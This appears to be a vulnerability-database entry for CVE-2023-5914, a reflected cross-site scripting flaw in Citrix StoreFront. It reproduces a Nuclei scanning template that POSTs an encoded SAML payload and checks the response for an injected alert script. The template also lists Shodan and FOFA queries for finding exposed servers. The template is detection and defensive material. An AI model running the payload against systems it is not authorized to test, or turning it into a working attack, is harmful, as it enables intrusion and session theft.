Citrix StoreFront - Cross-Site Scripting
| Reporter | Title | Published | Views | Family All 32 |
|---|---|---|---|---|
 | Citrix Virtual Apps and Desktops Session Recording Code Execution | 24 Jan 202400:00 | – | bdu_fstec |
| Citrix StoreFront XSS | 24 Jan 202400:00 | – | bdu_fstec |
 | CVE-2023-5914 | 17 Jan 202422:27 | – | circl |
| CVE-2023-6184 | 6 Feb 202408:41 | – | circl |
 | Citrix Virtual Apps and Desktops RCE (CTX583930) | 18 Jan 202400:00 | – | nessus |
 | Citrix Systems StoreFront Server Cross-Site Scripting Vulnerability | 17 Jan 202400:00 | – | cnnvd |
| Citrix Systems Session Recording Security Vulnerability | 18 Jan 202400:00 | – | cnnvd |
 | Citrix StoreFront Security Bulletin for CVE-2023-5914 | 16 Jan 202400:00 | – | citrix |
| Citrix Session Recording Security Bulletin for CVE-2023-6184 | 16 Jan 202413:03 | – | citrix |
| CVAD Session Recording Hub Article | 14 Jul 202400:00 | – | citrix |
10
id: CVE-2023-5914
info:
name: Citrix StoreFront - Cross-Site Scripting
author: DhiyaneshDK
severity: medium
description: |
Reflected Cross-Site Scripting issue which is exploitable without authentication. This vulnerability was exploitable through coercing an error message during an XML parsing procedure in the SSO flow.
impact: |
Unauthenticated attackers can inject malicious JavaScript via reflected XSS during XML parsing in the SSO flow, potentially stealing user credentials or session tokens.
remediation: |
Apply Citrix security updates immediately. Update to StoreFront versions 2402, 2203 CU1, 2203 LTSR CU5, 1912 LTSR CU8, or later.
reference:
- https://www.assetnote.io/resources/research/continuing-the-citrix-saga-cve-2023-5914-cve-2023-6184
- https://support.citrix.com/article/CTX583759/citrix-storefront-security-bulletin-for-cve20235914
- https://www.youtube.com/watch?v=t8MeUQrPqec
- https://nvd.nist.gov/vuln/detail/CVE-2023-5914
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-5914
cwe-id: CWE-79
epss-score: 0.75484
epss-percentile: 0.99512
cpe: cpe:2.3:a:cloud:citrix_storefront:*:*:*:*:ltsr:*:*:*
metadata:
max-request: 1
vendor: cloud
product: citrix_storefront
shodan-query:
- html:"/Citrix/StoreWeb"
- http.html:"/citrix/storeweb"
fofa-query: body="/citrix/storeweb"
tags: cve,xss,citrix,storefront,cve2023,cloud,vkev,vuln
http:
- method: POST
path:
- "{{BaseURL}}/Citrix/teststoreAuth/SamlTest"
headers:
Content-Type: application/x-www-form-urlencoded
body: "SAMLResponse=q1YKdvT1CUotLsjPK05VskLhBrhHlSVVOpkkhZebJRs7ZUQahVp6ZkYVp7iUVEUaexUkewTmRhkHmkeGV%2bQk5wXm%2bwZn5yZ5BJr7GPtlJefmlKc4R%2bWluBRnBmSVl0XlWpYFpNvaKtUCAA%3d%3d"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains_all(body, "<script>alert(1)</script>", "XmlException")'
condition: and
# digest: 490a0046304402207d289a9eb1f19636b3850a667923f7c3bad18976d902c2255c3c8f4f9063abbc022020b62998a98b051095130f7fcbc522b96c22040a5c722c97461547185656c2e7:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Feb 2026 07:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 3.15.4 - 7.2
EPSS0.75484
SSVC